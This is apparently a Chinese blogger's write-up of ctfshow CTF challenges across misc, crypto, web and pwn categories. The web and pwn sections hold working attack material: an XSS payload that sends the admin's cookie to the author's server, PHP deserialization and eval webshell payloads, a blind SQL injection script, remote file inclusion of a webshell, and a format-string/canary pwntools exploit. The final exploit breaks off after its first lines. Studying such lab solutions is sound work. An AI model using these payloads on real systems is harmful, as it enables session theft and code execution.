题目地址:https://ctf.show/challenges

23333.png

前言:

CTFshow已经越来越大了,里面的题目质量确确实实很高,群主虽然整天说自己没技术,是菜鸡,但是通过这么长时间来,各种大比赛,甚至能在CTFshow找到原题,其中的东西不言而喻,至于我自己,虽然做了好多题,但是实际上很多东西都没弄懂,所以依旧很菜,随着平台的日益增大,已经越来越多的人加入,其中不乏很多小白,有许许多多的人加了我为好友,但是有很多时候问的一些问题过于简单或者让我很无语的时候,我可能会不知道怎么回,也可能是我也不会,有时候也可能是消息太多了,或者我在外面贪玩,并不是我摆架子,希望各位师傅们别放心上。

PS:这里我新学到东西的我就讲详细一点,知道的或者相对简单的就带过了

我最近在干啥:

总结:就是在偷懒,在玩!!!
1、最近在写简历,准备找工作什么的,也没有打比赛了,也好久没学习了。(其中,在准备投简历的时候发现,里面面试的题目,怎么说呢,很多东西都知道,但是问起我问题来,我感觉我答不上来,这里就是涉及到自己平时学习的原因了,基础知识是重中之重,虽然这个东西一直都有很多人强调,但是真就是:书到用时方恨少。还是奉劝大家平时能好好的学习基础知识,不要像我一样)
2、毕设已经开题了,(选了一个差不多的老师,差不多的题,实际上是我在学校一直没去弄,没得选了已经,现在对其还是啥也不懂,七月底就要开完题了,现在已经过半,还在瞎玩,心真大)
3、最近几天在倒时差,整天浑浑噩噩的,甚至到现在也不知道回来过了几天,今天几号。(跟一个英国的朋友在玩,跟上了他的时差,但是我白天事情很多,很难睡着,所以基本每天都是睡了五个小时以内,不过这一点我愿称CTFshow群主最强!)

写这篇博客的目的:

看官网wp出来了,简单看了一下,题目质量确实越来越高了,
官网WP很详细,写的很好
我写这篇博客纯粹是因为好久没更了,水一下,顺便也是为了督促,以及记录自己学习。

MISC

cheyenne(八神)师傅最近弄的动态misc,很新颖,现在已经逐渐的万物皆动态flag了,不能直接CV交flag了,复现一遍多多少少能学到点东西,很不错。

Fortune Cookie

下发容器,随机下载到一个附件file.zip,解压得到一张fortune_paper.png图片
打开是写套娃怎么怎么样,010看一下,载入png模板
发现有报错:*ERROR: CRC Mismatch @ chunk[0]; in data: 49763144; expected: 0004e1ce
可以得到:1、IHDR块的CRC报错,图片在Windows下能正常打开,所以一般就是高度被改了
2、第一个IDAT块很小,后面跟着几个0x1000长度的大IDAT块,而且第二个IDAT块数据部分开头字节是78 9C,这是zlib的文件头,由此可见从第二块开始的IDAT可能来自另一张图片。
爆破一下正确的高度,然后把第一个IDAT块删掉,就可以得到一张新图片(好活,黑丝!!!八神教我用tweakPNG,很方便好用):
得到黑丝后,啊不,得到新图片后,(就出去玩了)
然后回来新开一个容器,又得到一张黑丝,
Stegslove打开,在green place 0 看到:

2.bmp

两张都是这样,说明里面可能应该大概或许藏了东西,两张都有横向重复的痕迹,将图片旋转,再Stereogram Slove,最终在offset:121找到flag(随机在100-200之间)

flag.bmp

zipper, clipper, not need john the ripper

下发容器下载附件解压,得到一堆文件
这里学到了新知识(虽然我可能知道,但是相对这个题来讲我并不知道)
就是Windows下的文件名和文件夹名对大小写不敏感,比如Bit和bit(为了怕出错还特意又去试了一下,确实是这样的)

image-20210714170546198.png

所以将其丢linux里面解压
然后得到58个文件夹,尝试base58,en,拿到flag

mumuzi的照片

下载附件解压得到:
hint.png

hint.png

im_not_tao_god.txt
一个很普通的警校学生在一起马桶失事中穿越到一个陌生的有CTF比赛的世界。他拥有了各种极高的CTF天赋,却由于不知名的禁锢,所有方向的题目只能交一个flag,剩下的flag只能藏起来。看他如何并凭借自己的努力最终完成了最后的挑战,成为一代套娃出题之神。
im_not_tao_god.txt.encode: 2rbk2rbq2CRB2lvYRHpF22qDR9+v2qpX2F+v22fd2Jh/2rbkRrUuRFvP2qy+2Ffe2rqr2rbi2RvjRrF92Hbt2rbk2rbqRJvG22fd22qD2lhNVszy2qZ1RrUC22qD2rbU22UGnnpp2rYU2/Yc2lhN2rqy2JpD2RAQ2lRwRFYH22qDVszy2FflRrUr33hG2H+S22fe2rq02rbQ22Zc2JpQ22qD2RFwRJfb33hG2/vk2lhN2lF22Jpz22qDRF9H22YY2HZqRB0L2rqT2rbk2rbqJveXJZZK50UNqAfnbZAFXyJPHUdc5RM/63u/cnj/iCdvgF456BrggBWTY2Ccl/rTWJ4cYCCcXRuc6Nj/XRMci38gv/acbqMcblWvgBmgYn5cM/7vbNmTY/CvgBmcTB3gv/av5N8vbN5WWB7vbNmTYrMTYBmTYRIclJdcqBIcX3Ml/l5TYHWglJ356BB=

mumuzi.rar.encode

根据提示hint.png,第一步是无码表解base64
可以根据helloword确定60个编码的对应关系,最后4个全排列一下生成rar文件进行解压,最终解出flag.rar,
第二步是rar文件爆破密码,可在hint.png里看到密码范围0-1234,把0-1234写在passwd.txt里利用john和rar将文件层层解压,
观察最后的flag.rar得知rar文件是有注释的将所有注释提取出来,
用python3 xxx.py|tee output.txt将日志导出
然后grep -v "OK" output.txt|grep -v "UNRAR" |grep -v "from"|grep -v "password" >o11.txt
得到了纯注释的文档
根据txt的提示,flag得往回走,观察最后一段注释,发现是png文件头反过来,将所有注释连在一起然后reverse,得到png文件
用010打开图片,CRC报错说明宽高被改过了,
爆破出正确的宽度为641
然后binwalk可以发现提示:我就知道你们只喜欢loli不喜欢我,我都穿成这样了你还不知道该对我做什么?
说明是brainfuck的brainloller模式,
直接bftools一下这个图片就出来了bftools.exe decode brainloller mumuzi.png

火烤大牛1.0

非预期:直接将颜色通道改成0,然后觉得宽度不对,爆破宽度发现是1200,得到原图的灰度图,能看清flag
预期:这里发现图片的颜色通道选的3,是索引,所以这里缺少了PLTE(调色板数据块),因为是indexed,所以需要有索引,所以需要补上PLTE,但是这里并不知道原来的索引是多少,所以可以补一个全是255的索引
写个脚本生成一个同样为1000*798的图,模式为P模式。

from PIL import Image
pic = Image.new('P',(1000,798),255)
pic.save('tmp.png')

然后用010将tmp.png的PLTE复制到原图
然后发现明显宽度有问题,用脚本爆破0-2000的宽度,找到正确的宽度1200。
然后就能看到flag了

信守着承诺

1是jpg,添加上.jpg发现并没有发现什么。文件尾有zip,foremost分离。得到zip,zip加了密,密码要从图片找,查看其exif发现提示,百度一下找到密码就是“信守着承诺”
所以解压密码是“信守着承诺”,成功解压,解压出的文件尾的base64就是flag

在?看看密码

非预期:直接winhex搜ctfshow找到flag或者strings
预期:找密码,可能说的是这个用户的密码,但是printkey然后看system SAM之后发现并没有发现密码,甚至连用户都没有发现,再看看pslist发现firefox,猜测是firefox密码管理器的密码,根据上次的GKCTF,可以知道firefox的密码管理器db和json文件存放在Roaming\Mozilla\Firefox\profiles\xxxxxxx.default\key4.db和logins.json。直接找这两个,然后用github的firefox密码查看器脚本或者用软件即可。我用软件演示一下。
首先是imageinfo,然后pslist,
这里已经已经知道是存放为key4.db和logins.json,直接filescan 然后grep即可

volatility -f looklookpassword.vmem --profile=Win7SP1x64 filescan |grep ‘key4.db’
volatility -f looklookpassword.vmem --profile=Win7SP1x64 filescan |grep ‘logins.json’

volatility -f looklookpassword.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000003d6ab4b0 -D ./
volatility -f looklookpassword.vmem --profile=Win7SP1x64 dumpfiles -Q 0x000000003ec70d00 -D ./

导出之后改一下文件名字,软件:PasswordFox
然后就能看到flag了

qcode

下载附件解压,得到很多二维码
批量扫描一下
exp:

import pyzbar.pyzbar as pyzbar
from PIL import Image
import os
from tqdm import tqdm
path = 'C:\\Users\\mumuzi\\Desktop\\qcode'
texts = ['']*9424
list = ['']*9424
i = 0
for filename in os.listdir(path):
    list[i] = filename
    i += 1
print('目录文件获取完毕')

for i in tqdm(range(len(list))):
    img = Image.open(path +'\\'+ list[i])
    texts[i] = pyzbar.decode(img)
print('图像信息获取完毕')
i = 0
for j in range(len(texts)):
    for text in texts[j]:
        tmp = text.data.decode("utf-8")
        if('ctfshow{' in tmp):
            print('二维码 ' + list[j] + ' 解码出ctfshow:' + tmp)
        if('flag{' in tmp):
            print('二维码 ' + list[j] + ' 解码出flag:' + tmp)

得到:bzfeyiqjrw.png 解码出flag:flag{H0V3FNU!}
fake flag,然后发现这张flag图后面还有一个zip。
分离出来,得到两个文件
首先看glb,搜索发现是WIN10下的3D文件,将其改成1.glb打开
key为12,先凯撒再栅栏。
然后查看flaag.txt,发现后面有很多255,还有一些非255,行已经分好了,看起来很像画图,255画白色,其他就画黑色。
把前面无关的删了,将第一行保留为255的开头
exp2:

from PIL import Image
pic = Image.new("RGB",(1000,1000))
f = open("flaag.txt",'r').readlines()
for i in range(len(f)):
    s = f[i].split(',')
    for j in range(len(s)):
        if(s[j] == '255'):
            pic.putpixel((j,i),(255,255,255))
        elif s[j].find('\n')>0:
            pic.putpixel((j,i),(255,255,255))
        else:
            pic.putpixel((j,i),(0,0,0))
pic.save("qcode.png")

得到:

image-20210714151405412.png

先凯撒12,再栅栏12(注意使用的网站,这里是使用的千千秀字,因为长度为46,并不能被12整除),最后得到flag
ctfshow{C0ngratulations_0n_th1s_Water_Problem}

CRYPTO

Cop! Run!!

image-20210714151832794.png

image-20210714151858526.png

image-20210714151925291.png

exp:

n = 1 << 8

p = 92946459607669937513774102250057295249718593723232674702212854287358873135783
a = 43844336985235863734419631630425915388298791521868754583032904718644333115590
s = 3248642833056635029095920782095626337949113592116495266
t = 4883935221919623989344404485025479346028101682781790392

k = (n - ceil(5 * n / 7))
ss = s * 2 ^ k
tt = t * 2 ^ k

M = Matrix(ZZ, [[ss^2+a-tt, 1, 0, 0],
                [      2*ss, 0, 1, 0],
                [        -p, 0, 0, 1]]) * diagonal_matrix(ZZ, [2^(255-2*k), 2^255, 2^(255-k), 1])

v = M.LLL()[0]

# Check coeff
print(v[1] / 2^255)

tms2 = v[0] / (2^(255-2*k))
s0 = v[2] / 2^(255-k)
t0 = tms2 + s0^2

flag = 193207529097125793778662519051231322609402866155819915933598367395102313904490702547833

y = int(tt + t0)
P.<t> = PolynomialRing(Zmod(p))
f = t * t + 43844336985235863734419631630425915388298791521868754583032904718644333115590
y = f(y)

for i in range(7):
    y = f(y)
    flag ^^= int(y)
print(flag)

海那边漂来的漂流瓶

题目给了一些大写字母和符号的组合,用空格隔开了。
提示给了一个提示是E04。
搜一下发现这个通篇应该就是注音输入法打字结果
所以我们可以随便找个在线注音输入法打完这个字即可,或者是先把按键映射到注音符号,再把注音符号映射到汉语拼音即可。我们用后者,可以写个脚本:
e1:

a = "A    B    C    D    E    F    G    H    I    J    K    L    M    N    O    P    Q    R    S    T    U    V    W    X    Y    Z    1    2    3    4    5    6    7    8    9    0    -    ;    ,    .    /"
b = "ㄇ    ㄖ    ㄏ    ㄎ    ㄍ    ㄑ    ㄕ    ㄘ    ㄛ    ㄨ    ㄜ    ㄠ    ㄩ    ㄙ    ㄟ    ㄣ    ㄆ    ㄐ    ㄋ    ㄔ    ㄧ    ㄒ    ㄊ    ㄌ    ㄗ    ㄈ    ㄅ    ㄉ    ˇ    ˋ    ㄓ    ˊ    ˙    ㄚ    ㄞ    ㄢ    ㄦ    ㄤ    ㄝ    ㄡ    ㄥ"

a = a.split('\t')
b = b.split('\t')
cvt = {x : y for x, y in zip(a, b)}

with open('wtf.txt', 'r', encoding='utf-8') as f:
    s = f.read()

t = ''.join(cvt[x] if x in cvt else x for x in s)

print(t)

得到:

ㄈㄨˊ ㄦˇ ㄇㄛˊ ㄕㄚ ㄍㄠ ㄙㄨˋ ㄍㄨㄥ ㄌㄨˋ ㄅㄟˇ ㄑㄧˇ ㄐㄧ ㄐㄧㄣ ㄍㄨㄥ ㄌㄨˋ ㄋㄢˊ ㄓˋ ㄉㄚˋ ㄆㄥˊ ㄨㄢ , ㄓㄨˇ ㄒㄧㄢˋ ㄔㄤˊ ㄉㄨˋ ˋˇㄅ ㄍㄨㄥ ㄌㄧˇ 。 ㄗˋ ㄅㄟˇ ㄎㄞ ㄕˇ ㄋㄢˊ ㄒㄧㄥˊ , ㄧ ㄒㄩˋ ㄐㄧㄥ ㄍㄨㄛˋ ㄐㄧ ㄌㄨㄥˊ ㄕˋ 、 ㄒㄧㄣ ㄅㄟˇ ㄕˋ 、 ㄊㄞˊ ㄅㄟˇ ㄕˋ 、 ㄊㄠˊ ㄩㄢˊ ㄕˋ 、 ㄒㄧㄣ ㄓㄨˊ ㄒㄧㄢˋ 、 ㄒㄧㄣ ㄓㄨˊ ㄕˋ 、 ㄇㄧㄠˊ ㄌㄧˋ ㄒㄧㄢˋ 、 ㄊㄞˊ ㄓㄨㄥ ㄕˋ 、 ㄓㄤ ㄏㄨㄚˋ ㄒㄧㄢˋ 、 ㄋㄢˊ ㄊㄡˊ ㄒㄧㄢˋ 、 ㄩㄣˊ ㄌㄧㄣˊ ㄒㄧㄢˋ 、 ㄐㄧㄚ ㄧˋ ㄒㄧㄢˋ 、 ㄐㄧㄚ ㄧˋ ㄕˋ 、 ㄊㄞˊ ㄋㄢˊ ㄕˋ 、 ㄍㄠ ㄒㄩㄥˊ ㄕˋ 、 ㄆㄧㄥˊ ㄉㄨㄥ ㄒㄧㄢˋ 。 ㄈㄨˊ ㄌㄞˋ ㄍㄜˊ ㄉㄧˊ ㄋㄟˋ ㄖㄨㄥˊ ㄕˋ ㄔ ㄆㄨˊ ㄊㄠˊ ㄅㄨˋ ㄊㄨˇ ㄆㄨˊ ㄊㄠˊ ㄆㄧˊ ㄅㄨˋ ㄔ ㄆㄨˊ ㄊㄠˊ ㄉㄠˇ ㄊㄨˇ ㄆㄨˊ ㄊㄠˊ ㄆㄧˊ ㄉㄧˊ ㄏㄢˋ ㄩˇ ㄆㄧㄣ ㄧㄣ ㄕㄡˇ ㄗˋ ㄇㄨˇ ㄆㄧㄣ ㄐㄧㄝ 。 ㄑㄧˊ ㄓㄨㄥ ㄧㄡˊ ㄩˊ ㄌㄨˋ ㄉㄨㄢˋ ㄐㄧㄢˋ ㄕㄜˋ ㄕˊ ㄉㄧˊ ㄩㄥˋ ㄉㄧˋ ㄑㄩˇ ㄉㄜˊ ㄨㄣˋ ㄊㄧˊ , ㄗㄞˋ ㄊㄞˊ ㄓㄨㄥ ㄕˋ ㄩˇ ㄓㄤ ㄏㄨㄚˋ ㄒㄧㄢˋ ㄓ ㄐㄧㄢ ㄩㄢˊ ㄅㄣˇ ㄧㄥ ㄍㄞ ㄕˋ ㄋㄢˊ ㄅㄟˇ ㄗㄡˇ ㄒㄧㄤˋ ㄉㄧˊ ㄈㄨˊ ㄦˇ ㄇㄛˊ ㄕㄚ ㄍㄠ ㄙㄨˋ ㄍㄨㄥ ㄌㄨˋ ㄏㄣˇ ㄌㄧˋ ㄨㄞˋ ㄉㄧˋ ㄕˋ ㄔㄥˊ ㄒㄧㄢˋ ㄉㄨㄥ ㄒㄧ ㄒㄧㄤˋ ㄉㄧˊ ㄗㄡˇ ㄒㄧㄤˋ , ㄗˋ ㄋㄢˊ ㄅㄨˋ ㄅㄟˇ ㄕㄤˋ ㄒ ㄧㄢ ㄐㄧㄥ ㄓㄤ ㄏㄨㄚˋ ㄒㄧㄢˋ ㄈㄣ ㄩㄢˊ ㄒㄧㄤ , ㄎㄨㄚˋ ㄨ ㄒㄧ ㄓˋ ㄊㄞˊ ㄓㄨㄥ ㄕˋ ㄨˋ ㄈㄥ ㄑㄩ 、 ㄨ ㄖˋ ㄑㄩ ㄓ ㄏㄡˋ , ㄗㄞˋ ㄒㄧㄤˋ ㄒㄧ ㄒㄧㄥˊ ㄓˋ ㄓㄤ ㄏㄨㄚˋ ㄒㄧㄢˋ ㄅㄟˇ ㄅㄨˋ ㄉㄧˊ ㄓㄤ ㄏㄨㄚˋ ㄕˋ , ㄧㄢˊ ㄨ ㄒㄧ ( ㄙㄨˊ ㄔㄥ ㄉㄚˋ ㄉㄨˋ ㄒㄧ ) ㄒㄧ ㄒㄧㄥˊ ㄓˋ ㄓㄤ ㄏㄨㄚˋ ㄒㄧㄢˋ ㄏㄜˊ ㄇㄟˇ ㄓㄣˋ , ㄓㄨㄢˇ ㄍㄜˋ ㄐㄧㄝ ㄐㄧㄣˋ ㄓˊ ㄐㄧㄠˇ ㄉㄧˊ ㄉㄚˋ ㄨㄢ , ㄎㄨㄚˋ ㄩㄝˋ ㄉㄚˋ ㄉㄨˋ ㄒㄧ ㄐㄧㄣˋ ㄖㄨˋ ㄊㄞˊ ㄓㄨㄥ ㄕˋ ㄏㄞˇ ㄒㄧㄢˋ ㄉㄧˋ ㄑㄩ 。 ㄅㄧㄝˊ ㄨㄤˋ ㄐㄧˋ ㄅㄚˇ ㄈㄨˊ ㄌㄞˋ ㄍㄜˊ ㄩㄥˋ ㄒㄧ ㄊㄧ ㄞˋ ㄈㄨˇ ㄒㄧㄡˋ ㄉㄧˊ ㄍㄜˊ ㄕˋ ㄅㄠ ㄍㄨㄛˇ ㄑㄧˇ ㄌㄞˊ ㄛˊ 。 ㄒㄧㄤ ㄉㄨㄟˋ ㄩˊ ㄓㄨㄥ ㄕ ㄢ ㄍㄠ ㄉㄤ ㄔㄨ ㄍㄨㄟ ㄏㄨㄚˊ ㄕˋ ㄧˇ ㄔㄨㄢˋ ㄌㄧㄢˊ ㄊㄞˊ ㄨㄢ ㄒㄧ ㄢˋ ㄓㄨˇ ㄧㄠˋ ㄉㄚˋ ㄔㄥˊ ㄕˋ ㄨㄟˊ ㄇㄨˋ ㄉㄧˊ , ㄎㄠˇ ㄌㄧㄤˊ ㄉㄠˋ ㄆㄧㄥˊ ㄏㄥˊ ㄉㄧˋ ㄑㄩ ㄈㄚ ㄓㄢˇ 、 ㄊㄨˇ ㄉㄧˋ ㄑㄩˇ ㄉㄜˊ ㄉㄧˊ ㄔㄥˊ ㄅㄣˇ ㄩˇ ㄅㄧˋ ㄇㄧㄢˇ ㄉㄨ ㄕˋ ㄈㄨˋ ㄐㄧㄣˋ ㄉㄨㄢˇ ㄊㄨˊ ㄊㄨㄥ ㄑㄧㄣˊ ㄔㄜ ㄌㄧㄡˊ ㄗㄠˋ ㄔㄥˊ ㄗㄨˇ ㄙㄞ , ㄈㄨˊ ㄦˇ ㄇㄛˊ ㄕㄚ ㄍㄠ ㄙㄨˋ ㄍㄨㄥ ㄌㄨˋ ㄉㄧˊ ㄒㄩㄢˇ ㄒㄧㄢˋ ㄐㄧㄝ ㄎㄜˋ ㄧˋ ㄅㄧˋ ㄎㄞ ㄅㄨˋ ㄈㄣ ㄖㄣˊ ㄎㄡˇ ㄔㄡˊ ㄇㄧˋ ㄉㄧˊ ㄉㄨ ㄏㄨㄟˋ ㄑㄩ ㄅㄧㄥˋ ㄐㄧㄥ ㄍㄨㄛˋ ㄒㄩˇ ㄉㄨㄛ ㄩㄢˊ ㄅㄣˇ ㄉㄧ ㄉㄨˋ ㄎㄞ ㄈㄚ ㄉㄧˊ ㄒㄧㄤ ㄘㄨㄣ ㄉㄧˋ ㄉㄞˋ 。

可以复制到Google翻译中,源语言选中文,然后点下面的播放就可以听到读音。

群主说要出简单的题目大家把这题想简单一点

直接把c转成字符串就可以看到flag
7539424334663709603622451394173266049480031393220309445902319310504736287365860451132752036622339554159799611768328686792828750952551268647863160547774237934958072391797341405165512721597085695555356929495861914056799039140107261439671707574841789330531198534325422015873621769489969596614802282764401661006564546159674397356683650318142728009273827997179696988926599672213482848150751054351595386402597000601684644207559735499031666361222038615475154046453649719203304187309556004660926226182353445661702352380654352874617084419834338343925880593023307238768452509962

WINNER WINNER CHICKEN DINNER! This is easy but quite troll man. One should NOT expect that the ciphertext is equal to plaintext in the real world. Flag is: ctfshow{xielunyan___KAI!}. By the way, what a stupid encryption exponent it is!\n

The Dedication of Suspect M

这个题附件弄了十几二十次,由于不是很懂这个,也不太会,也看不出来flag,应该是姿势的问题,
最后问出来的,大概思路官方WP也给了

WEB

ezxss

F12查看源码发现:

得到源码:

<?php
if(!isset($_GET['user'])&&!isset($_GET['username'])&&!isset($_GET['source'])&&!isset($_GET['query'])){
    header("Location: ./?username=guest");
    die();
}
$test=md5(uniqid('',true));
header("Content-Security-Policy:  script-src 'strict-dynamic' 'nonce-$test'; img-src 'self'; style-src 'self';  font-src 'self'; frame-src 'none' ");
header ( "Cache-Control: no-cache, must-revalidate " );
function getCurrentUrl(){
    $scheme = $_SERVER['REQUEST_SCHEME'];
    $domain = $_SERVER['HTTP_HOST'];
    $requestUri = $_SERVER['REQUEST_URI'];
    $currentUrl = $scheme . "://" . $domain . $requestUri;
    return $currentUrl;
}
class user{
    public $username;
    public function __wakeup(){
        if (is_string($this->username)){
            if (preg_match('/script|<|>|onload|onerror/i',$this->username)){
                die('no xss');
            }
            else{
                echo '<h1 id="username">'.htmlentities('welcome back '.$this->username).'</h1>';
            }
        }
        else{
            echo '<h1 id="username">'.$this->username.'&nbsp&nbspis&nbsp&nbspnot&nbsp&nbspallowed,&nbsp&nbsponly&nbsp&nbspstring'.'</h1>';
            file_put_contents('admin.log',$_GET['user']);   //admin will check who attacks him in /admin.php
        }
    }
}
if (isset($_GET['source'])){
    $text=file_get_contents(__FILE__);
    echo $text;
    die();
}
if (isset($_GET['query'])){
    //drive bot to visit your page
    //source code : browser.get('http://127.0.0.1/?'+sys.argv[1])
    //query example:
    //your url : httP://127.0.0.1/?username=guest
    //query : username=guest
    $text=escapeshellarg($_GET['query']);
    #echo($text);
    system('python /var/xssbot/xssbot.py '.$text);
    //sleep(3);
    die();
}
echo "
<html>
<head>
<link rel='stylesheet' href='./css/stylesheet.css'>
</head>
";
echo "<!--?source=1-->\n";
echo "<body>\n";
if (isset($_GET['user'])){
    unserialize(urldecode(base64_decode($_GET['user'])));
}
else if(isset($_GET['username'])){
    echo '<h1 id="username">'.htmlentities('hello '.$_GET['username']).'</h1>';

}



echo '<div id="particles-js"></div>';


echo "
<script nonce='$test' src='./js/jquery-1.12.0.js'></script>
<script nonce='$test' src='./js/particles.min.js'></script>
<script nonce='$test' src='./js/app.js'></script>
 ";
echo "</body>
</html>
";


?>

第一层
is_string通过原生类来绕(该文件没含__toString的类),这里随便选一个Exception类
第二层
绕了第一层后一直没打通,后来才发现有CSP,script-src 'strict-dynamic' 'nonce-$test';

通过uniqid,nonce不可知

再联系下面的代码:

<script nonce='$test' src='./js/jquery-1.12.0.js'></script>
<script nonce='$test' src='./js/particles.min.js'></script>
<script nonce='$test' src='./js/app.js'></script>

可以想到通过修改为自己的服务器地址:

<base href="//xx.xx.xx.xx:22222">

结合起来:

<?php
class user{
    public $username;
}
$user=new user();
$user->username=new Exception('<base href="//xx.xx.xx.xx:22222">');
echo base64_encode(serialize($user));

然后在服务器上搭一样的./js/app.js文件即可

root@VM-4-10-ubuntu:~# cat ./js/app.js 
window.open('http://xx.xx.xx.xx:22222/'+document.cookie)

最后提交需要query=user=<base64代码>这种形式交,这样就能把管理员的cookie带出了,cookie即是flag

49.235.148.38 - - [14/Jul/2021 13:36:29] "GET /js/particles.min.js HTTP/1.1" 404 -
49.235.148.38 - - [14/Jul/2021 13:36:29] code 404, message File not found
49.235.148.38 - - [14/Jul/2021 13:36:29] "GET /flag=ctfshow%7Bc4580781-d9de-449f-a8ec-f79c6464f037%7D%0A HTTP/1.1" 404 -

cjbweb

源码:

<?php
$safe="Hack me!";

class Hacker{
    public $name="var_dump";
    public $msg="Happy to cjb";
    public function __wakeup()
    {
        global $safe;
        if(preg_match('/\d|\/|,|\([^()]*\([^()]*\)/',$this->msg)){
            $this->name="var_dump";
            $this->msg="You look dangerous!!!";
            $safe="I think waf is enough.";
        }
        call_user_func($this->name,$this->msg);
    }
    public function __destruct()
    {
        global $safe;
        var_dump($safe);
    }
}

if(isset($_POST['info'])){
    $info=$_POST['info'];
    if(preg_match('/s:4:"name";s:\d:"v\w*"/',$info)){
        unserialize($info);
    }else{
        echo "I just love v";
    }
}else{
    $hacker=new Hacker();
    highlight_file(__FILE__);
}

非预期(可以通过get或post参数轻松绕过正则):

info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:22:"eval($_POST['shell']);";}&&shell=show_source("/you_never_know_my_name");

预期解:
第一层
两种思路:
第一种:在类里面写两次相同的属性名,后面的属性值会覆盖前面的属性值(注意:类的属性个数记得加一)
第二种:在类序列化最后的右大括号后面加
第二层
这里过滤了系统执行的函数,flag文件名也是未知的
这里用assert可以绕过
由于(1(1)这条正则过滤了括号嵌套,而不用get或post很难进行输出
但观察到题目还有另外一个变量在之后进行输出,可对其进行利用

global $safe;
var_dump($safe);

查flag文件名:

info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:57:"$safe=chdir('..').chdir('..').chdir('..')?scandir('.'):''";}

读flag文件:

info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:85:"$safe=chdir('..').chdir('..').chdir('..').file_get_contents('you_never_know_my_name')";}

CTF知识问答

打开容器可以看到 登录,注册,成绩,排名四个可点击,但是只有三个提供输入框,
首先做了一遍题目,不难,搜也能搜到,emmm,拿了一百分,但是没看到flag
尝试对输入框进行sql注入,由于注册是sha1存储学号,所以⽆法注学号,测试后是在登陆的姓名处注⼊

username=-1'||sleep(1)%23&studentid=1&submit=%E6%8F%90%E4%BA%A4

可以延时1s,说明存在SQL注入。
可以双写绕过。空格似乎没有过滤,但是有些词它是连着空格一起过滤的,因此不用空格,用/**/就可以减少麻烦。
等于号被过滤,拿大于号小于号绕过即可。
然后正常的SQL注入即可。
exp:

import requests
from time import *
url='http://8bc79ae0-07ad-4552-af0e-8f7e7c192999.challenge.ctf.show:8080/login.php'


flag=''
for i in range(1,10000000):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        #payload="-1'||if(ascii(substr(database(),{},1))<{},sleep(0.5),1)#".format(i,j)
        #payload="-1'||if(ascii(substr((seselectlect/**/group_coonncat(table_name)/**/from/**/iinnfoorrmatioonn_schema.tables/**/whewherere/**/table_schema/**/lilikeke/**/database()),{},1))<{},sleep(1),1)#".format(i,j)
        #payload="-1'||if(ascii(substr((seselectlect/**/group_coonncat(column_name)/**/from/**/iinnfoorrmatioonn_schema.columns/**/whewherere/**/table_name/**/lilikeke/**/'ctf'),{},1))<{},sleep(1),1)#".format(i,j)
        payload="-1'||if(ascii(substr((seselectlect/**/group_coonncat(value)/**/from/**/ctf),{},1))<{},sleep(0.4),1)#".format(i,j)

    #payload="'||ascii(substr((load_file(reverse('dwssap/cte/'))),{},1))<{}#".format(i,j)

        data={
            'username':payload,
            'studentid':'1',
            'submit':'提交'
        }
        try:
            r=requests.post(url=url,data=data,timeout=0.3)
            #print(r.text)
            min = j
        except:
            max = j

        sleep(0.2)

warmup

源码:

<?php
highlight_file(__FILE__);

if(isset($_GET['file'])){
    $ext = pathinfo($_GET['file'], PATHINFO_EXTENSION);
    if($ext==='php'){
        include $_GET['file'];
    }
}

pathinfo这点只要php后缀即可
开了allow_url_include
方法一:

?file=data://text/plain,<?php var_dump(scandir('/'));?>.php
?file=data://text/plain,<?php echo file_get_contents('/secret');?>.php

或者我们可以在get里面穿插一句话,file=data:text/plain,<?php eval($_POST[bit]);?>.php
然后尝试执行命令,发现system被ban了,就用print_r(scandir("/"));
然后在post提交bit=print_r(scandir("/"));得到目录
然后再bit=echo file_get_contents('/secret');得到flag值.php
提交flag就好了

方法二:
要求文件后缀为php,经过测试可以远程文件包含。VPS上写个php马直接包含即可。

?file=http://xx.xx.xx.xx:xxxx/1.php
0=phpinfo();

存在disable_functions,拿函数绕一下即可。

0=var_dump(scandir('/'));
0=echo file_get_contents('/secret');

固若金汤

在网吧,工具什么的都没有,poc也不在,下次专门写一篇博客讲讲这个,

PWN

win_pwn

下载附件是一个32位的exe文件,拖进ida(32)分析一下;
首先反编译看一下主函数:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  char v4; // [esp+16h] [ebp-AAh]
  char v5; // [esp+BFh] [ebp-1h]

  __main();
  v5 = 1;
  puts("Please input your name:");
  fflush(&__iob[1]);
  scanf("%s", &v4);
  if ( v5 )  
    result = printf("Your level is not admin");
  else
    result = DangerFunc(&v4);  //上面说你不是admin就给你踢出去了,所以重点转到这
  if ( argc != 1 )
    exit(0);
  return result;
}

查看一下 DangerFunc函数:

int __cdecl DangerFunc(char *a1)
{
  int v2; // [esp+18h] [ebp-30h]

  getflag(a1, (int)&v2);
  puts("###########################################################################");
  puts("###########################################################################");
  printf("\t\tflag{%s}\t\t\t\n", &v2);
  puts("###########################################################################");
  puts("###########################################################################");
  fflush(&__iob[1]);
  return system("c:\\Windows\\System32\\cmd.exe");
}

这里需要构造v5=0,即可执行printf函数打印出flag,因此,需要想办法,去找一下函数的漏洞
很明显在主函数中的scanf("%s", &v4);存在漏洞,覆盖V5,V4为AAh,V5为1h,填充170-1=169个a即可打印flag

easy_canary

格式化字符串泄露libc和canary,栈溢出返回one_gadget,
exp:

from pwn import *
context.log_level = 'debug'
p = remote("pwn.challenge.ctf.show",28156)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil("input your lucky number:")
p.sendline(p64(0x6b8b4567))

p.sendline("%5$p%15$p")
p.recvuntil("0x")
leak = int(p.recvn(12),16)
log.info("leak = " + hex(leak))
p.recvuntil("0x")
canary = int(p.recvn(16),16)

log.info("canary = " + hex(canary))

libcbase = leak - 0x7ffff7dd1120 + 0x7ffff7a0d000
system = libcbase + libc.symbols["system"]
binsh = libcbase + libc.search("/bin/sh").next()
prdi = libcbase + 0x0000000000021102
one_gadget = libcbase + 0x45216
xor_rax = libcbase + 0x000000000008b8c5

payload = 'a'*0x48 + p64(canary) + 'b'*0x8 + p64(one_gadget)

p.send(payload)
p.interactive()

ezheap

exp:

from pwn import *
context.log_level = 'debug'
#p=process('./ezheap')
